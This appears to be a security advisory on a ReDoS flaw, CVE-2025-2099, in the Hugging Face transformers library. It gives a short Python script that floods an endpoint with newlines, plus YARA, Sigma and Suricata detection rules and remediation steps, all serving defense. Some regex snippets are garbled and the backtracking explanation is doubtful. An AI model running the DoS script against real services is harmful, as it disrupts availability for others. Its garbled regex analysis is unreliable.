CVE-2025-2099

Executive Summary

CVE-2025-2099 is a Regular Expression Denial of Service (ReDoS) vulnerability discovered in the Hugging Face transformers library, specifically within the preprocess_string() function of the transformers.testing_utils module. The flaw resides in a regular expression used to process code blocks in docstrings, which contains nested quantifiers. This allows an attacker to craft a payload with a large number of newline characters, causing exponential backtracking during regex evaluation. The result is high CPU consumption and potential application downtime, leading to a Denial of Service (DoS) condition. The vulnerability affects version v4.48.3 and has a CVSS score of 5.3 (Medium). No public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability affects the PyPI package transformers. Organizations using this library in production or CI/CD pipelines should assess their exposure. The attack vector is network-based, requiring no authentication, and can be triggered by processing untrusted input that includes docstrings. Supply chain risk is elevated due to the widespread use of Hugging Face Transformers in machine learning workflows.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L)

The threat level is medium due to the low availability impact and the requirement for a specially crafted payload. However, the ease of exploitation (no authentication, network-based) makes it a viable vector for resource exhaustion attacks.

Deep Dive & Mechanics

The vulnerability is located in the preprocess_string() function within transformers.testing_utils. This function processes docstrings to extract code blocks for testing purposes. The vulnerable regular expression is designed to match code blocks delimited by triple backticks (```). The regex contains nested quantifiers, such as (?:[^]|(?!``))*, which can cause catastrophic backtracking when the input contains a large number of newline characters.

When an attacker provides a payload with many newlines (e.g., thousands of \n characters) inside a code block, the regex engine attempts to match the pattern against the input. Due to the nested quantifiers, the engine explores an exponential number of ways to partition the input, leading to high CPU usage and potential application hang. This is a classic ReDoS pattern.

The vulnerable regex pattern (simplified) looks like:

```(?:[^`]|`(?!``))*```

The * quantifier combined with the alternation (?:[^]|(?!``)) creates a situation where the regex can backtrack extensively on inputs with many newlines.

Vulnerable vs. Patched Code

Vulnerable Code (v4.48.3):

def preprocess_string(text):
    # Vulnerable regex with nested quantifiers
    pattern = r"```(?:[^`]|`(?!``))*```"
    return re.sub(pattern, "", text)

Patched Code (Hypothetical):

def preprocess_string(text):
    # Use atomic grouping or possessive quantifiers to prevent backtracking
    pattern = r"```(?:[^`]|`(?!``))*+```"
    return re.sub(pattern, "", text)

The patch would involve using possessive quantifiers (*+) or atomic groups to eliminate backtracking. Alternatively, a non-regex approach could be used.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker would craft a payload containing a large number of newline characters within a code block. The following Python script demonstrates the attack:

import requests
import sys

# Target endpoint that processes docstrings
url = "http://target.com/process"

# Craft payload with many newlines
payload = "```" + "\n" * 10000 + "```"

# Send request
response = requests.post(url, data={"input": payload})
print(f"Status: {response.status_code}")
print(f"Response time: {response.elapsed.total_seconds()} seconds")

The attacker would observe high CPU usage on the server and potential timeout.

Blue Team

To detect exploitation attempts, monitor for:

• High CPU usage on servers running Hugging Face Transformers.
• Requests with unusually large payloads containing many newline characters.
• Slow response times or timeouts from endpoints that process docstrings.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests with large payloads (e.g., >10KB) containing repeated newline characters.
• System: High CPU usage by Python processes running Hugging Face Transformers.
• Logs: Application logs showing timeouts or slow processing of preprocess_string().

Detection Engineering

YARA Rule

rule CVE_2025_2099_ReDoS_Payload {
    meta:
        description = "Detects payloads targeting CVE-2025-2099 ReDoS in Hugging Face Transformers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2099"
    strings:
        $re_pattern = /```(?:[^`]|`(?!``))*```/ nocase
        $newline_flood = /\n{100,}/ nocase
    condition:
        $re_pattern and $newline_flood
}

Sigma Rule

title: CVE-2025-2099 ReDoS Exploitation Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with large newline sequences targeting Hugging Face Transformers
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'process'
        cs-body|contains: '```'
        cs-body|re: '\n{100,}'
    condition: selection
falsepositives:
    - Legitimate large code blocks
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2099 ReDoS Exploitation Attempt"; flow:to_server; content:"POST"; http_method; content:"```"; http_client_body; pcre:"/\n{100,}/R"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: If using v4.48.3, restrict access to endpoints that process untrusted docstrings. Implement input length limits and rate limiting.
2. Short-term: Monitor for patches from Hugging Face. Apply the patch as soon as available.
3. Long-term: Replace the vulnerable regex with a non-backtracking approach (e.g., using re.match with atomic groups or a custom parser). Consider using re.fullmatch with possessive quantifiers.
4. Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
5. Supply Chain: Review usage of the transformers library in your environment. Consider using a software composition analysis (SCA) tool to track vulnerable dependencies.

Valters IT
DevSecOps & Cyber Threat Intelligence